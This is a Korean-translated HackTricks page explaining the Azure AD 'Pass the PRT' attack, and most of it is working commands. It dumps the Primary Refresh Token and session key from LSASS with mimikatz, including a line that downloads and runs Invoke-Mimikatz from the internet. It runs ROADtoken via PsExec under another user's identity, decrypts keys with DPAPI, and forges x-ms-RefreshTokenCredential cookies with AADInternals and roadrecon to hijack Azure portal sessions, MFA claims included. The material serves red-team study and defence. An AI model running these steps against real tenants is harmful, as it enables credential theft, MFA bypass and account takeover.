Az - Pass the PRT

HackTricks 지원하기

PRT란 무엇인가

PRT가 있는지 확인하기

Dsregcmd.exe /status

SSO 상태 섹션에서 **AzureAdPrt**가 YES로 설정되어 있는 것을 확인할 수 있습니다.

같은 출력에서 장치가 Azure에 가입되어 있는지(필드 AzureAdJoined에서)도 확인할 수 있습니다:

PRT 쿠키

PRT 쿠키는 실제로 **x-ms-RefreshTokenCredential**이라고 하며, JSON 웹 토큰(JWT)입니다. JWT는 3부분으로 구성되어 있으며, 헤더, 페이로드서명으로 나뉘며 .로 구분되고 모두 URL 안전한 base64로 인코딩됩니다. 일반적인 PRT 쿠키는 다음과 같은 헤더와 본문을 포함합니다:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

The actual **Primary Refresh Token (PRT)**는 refresh_token 내에 캡슐화되어 있으며, 이는 Azure AD의 제어 하에 있는 키로 암호화되어 있어 그 내용은 우리에게 불투명하고 복호화할 수 없습니다. 필드 **is_primary**는 이 토큰 내에서 기본 새로 고침 토큰의 캡슐화를 나타냅니다. 쿠키가 의도된 특정 로그인 세션에 바인딩된 상태를 유지하도록 하기 위해, request_noncelogon.microsoftonline.com 페이지에서 전송됩니다.

TPM을 이용한 PRT 쿠키 흐름

LSASS 프로세스는 TPM에 KDF 컨텍스트를 전송하고, TPM은 세션 키(AzureAD에 등록될 때 수집되어 TPM에 저장된)를 사용하여 이전 컨텍스트와 함께 키를 파생하며, 이 파생된 키PRT 쿠키(JWT)를 서명하는 데 사용됩니다.

KDF 컨텍스트는 AzureAD의 논스와 PRT가 혼합된 JWT컨텍스트(무작위 바이트)입니다.

따라서 PRT가 TPM 내부에 위치해 있어 추출할 수 없더라도, LSASS를 악용하여 새로운 컨텍스트에서 파생된 키를 요청하고 생성된 키를 사용하여 쿠키를 서명할 수 있습니다.

PRT 악용 시나리오

일반 사용자로서 LSASS에 SSO 데이터를 요청하여 PRT 사용 요청을 할 수 있습니다. 이는 Web Account Manager(토큰 브로커)에서 토큰을 요청하는 네이티브 앱처럼 수행할 수 있습니다. WAM은 요청을 LSASS에 전달하고, LSASS는 서명된 PRT 주장을 사용하여 토큰을 요청합니다. 또는 PRT 쿠키헤더로 사용하여 Azure AS 로그인 페이지에 대한 요청을 인증하는 브라우저 기반(웹) 흐름으로 수행할 수 있습니다.

SYSTEM으로서 TPM에 의해 보호되지 않는 경우 PRT를 훔치거나 LSASS에서 PRT 키와 상호작용할 수 있습니다.

Pass-the-PRT 공격 예시

공격 - ROADtoken

이 방법에 대한 자세한 정보는 이 게시물을 확인하세요. ROADtoken은 올바른 디렉토리에서 **BrowserCore.exe**를 실행하고 이를 사용하여 PRT 쿠키를 얻습니다. 이 쿠키는 ROADtools와 함께 사용되어 인증하고 지속적인 새로 고침 토큰을 얻는 데 사용될 수 있습니다.

유효한 PRT 쿠키를 생성하기 위해 필요한 첫 번째 것은 논스입니다. 다음과 같이 얻을 수 있습니다:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

또는 roadrecon를 사용하여:

roadrecon auth prt-init

그런 다음 roadtoken을 사용하여 새로운 PRT를 얻을 수 있습니다(공격할 사용자의 프로세스에서 도구를 실행):

.\ROADtoken.exe <nonce>

As oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

그런 다음 생성된 쿠키를 사용하여 토큰을 생성하고 Azure AD Graph 또는 Microsoft Graph를 사용하여 로그인할 수 있습니다:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken 사용자의 PRT 토큰을 Azure AD에 가입된 또는 하이브리드 가입된 컴퓨터에서 가져옵니다. BrowserCore.exe를 사용하여 PRT 토큰을 가져옵니다.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

또는 Mimikatz에서 값을 가져온 경우 AADInternals를 사용하여 토큰을 생성할 수도 있습니다:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com로 이동하여 login.microsoftonline.com의 모든 쿠키를 지우고 새 쿠키를 입력합니다.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

그런 다음 https://portal.azure.com으로 이동합니다.

나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하십시오. 만약 사라진다면 실수를 했을 수 있으며 과정을 다시 진행해야 합니다. 사라지지 않는다면 괜찮습니다.

공격 - Mimikatz

단계

  1. PRT (Primary Refresh Token)가 LSASS (Local Security Authority Subsystem Service)에서 추출되어 이후 사용을 위해 저장됩니다.

  2. 세션 키가 다음으로 추출됩니다. 이 키는 처음에 발급된 후 로컬 장치에 의해 다시 암호화되므로, DPAPI 마스터 키를 사용하여 복호화해야 합니다. DPAPI (Data Protection API)에 대한 자세한 정보는 다음 리소스에서 확인할 수 있습니다: HackTricks 및 그 응용 프로그램에 대한 이해를 위해 Pass-the-cookie attack를 참조하십시오.

  3. 세션 키의 복호화 후, PRT에 대한 파생 키와 컨텍스트가 얻어집니다. 이는 PRT 쿠키 생성에 중요합니다. 특히, 파생 키는 쿠키를 구성하는 JWT (JSON Web Token)에 서명하는 데 사용됩니다. 이 과정에 대한 포괄적인 설명은 Dirk-jan이 제공한 것으로, 여기에서 확인할 수 있습니다.

PRT가 TPM 내부에 있고 lsass 내부에 없다면 mimikatz는 이를 추출할 수 없습니다. 그러나 TPM에서 컨텍스트의 파생 키로부터 키를 얻고 이를 사용하여 쿠키에 서명하는 것이 가능할 것입니다 (옵션 3 확인).

이 세부 정보를 추출하는 과정에 대한 심층 설명은 여기에서 확인할 수 있습니다: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

2021년 8월 수정 이후 다른 사용자의 PRT 토큰을 얻는 것은 정확히 작동하지 않을 것입니다. 오직 사용자가 자신의 PRT를 얻을 수 있으며 (로컬 관리자는 다른 사용자의 PRT에 접근할 수 없음), 자신의 PRT에 접근할 수 있습니다.

mimikatz를 사용하여 PRT를 추출할 수 있습니다:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Prt로 표시된 부분을 복사하고 저장합니다. 아래 강조 표시된 ProofOfPossesionKey 필드의 **KeyValue**인 세션 키도 추출합니다. 이것은 암호화되어 있으며, 이를 해독하기 위해 DPAPI 마스터 키를 사용해야 합니다.

PRT 데이터가 보이지 않는 경우, PRT가 없을 수 있습니다. 이는 장치가 Azure AD에 가입되지 않았거나 오래된 버전의 Windows 10을 실행하고 있을 수 있습니다.

세션 키를 해독하려면 SYSTEM 권한으로 승격하여 컴퓨터 컨텍스트에서 실행해야 DPAPI 마스터 키를 사용하여 해독할 수 있습니다. 다음 명령어를 사용하여 그렇게 할 수 있습니다:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

옵션 1 - 전체 Mimikatz

  • 이제 Context 값을 모두 복사하고 싶습니다:

  • 그리고 파생 키 값을 복사합니다:

  • 마지막으로 이 모든 정보를 사용하여 PRT 쿠키를 생성할 수 있습니다:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

나머지는 기본값이어야 합니다. 페이지를 새로 고칠 수 있고 쿠키가 사라지지 않는지 확인하세요. 만약 사라진다면 실수를 했을 수 있으며, 다시 과정을 진행해야 합니다. 사라지지 않는다면 괜찮습니다.

옵션 2 - PRT를 사용한 roadrecon

  • 먼저 PRT를 갱신하여 roadtx.prt에 저장합니다:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • 이제 roadtx browserprtauth를 사용하여 인터랙티브 브라우저로 토큰을 요청할 수 있습니다. roadtx describe 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있었습니다.

roadtx browserprtauth
roadtx describe < .roadtools_auth

옵션 3 - 파생 키를 사용한 roadrecon

mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

References

HackTricks 지원하기

Last updated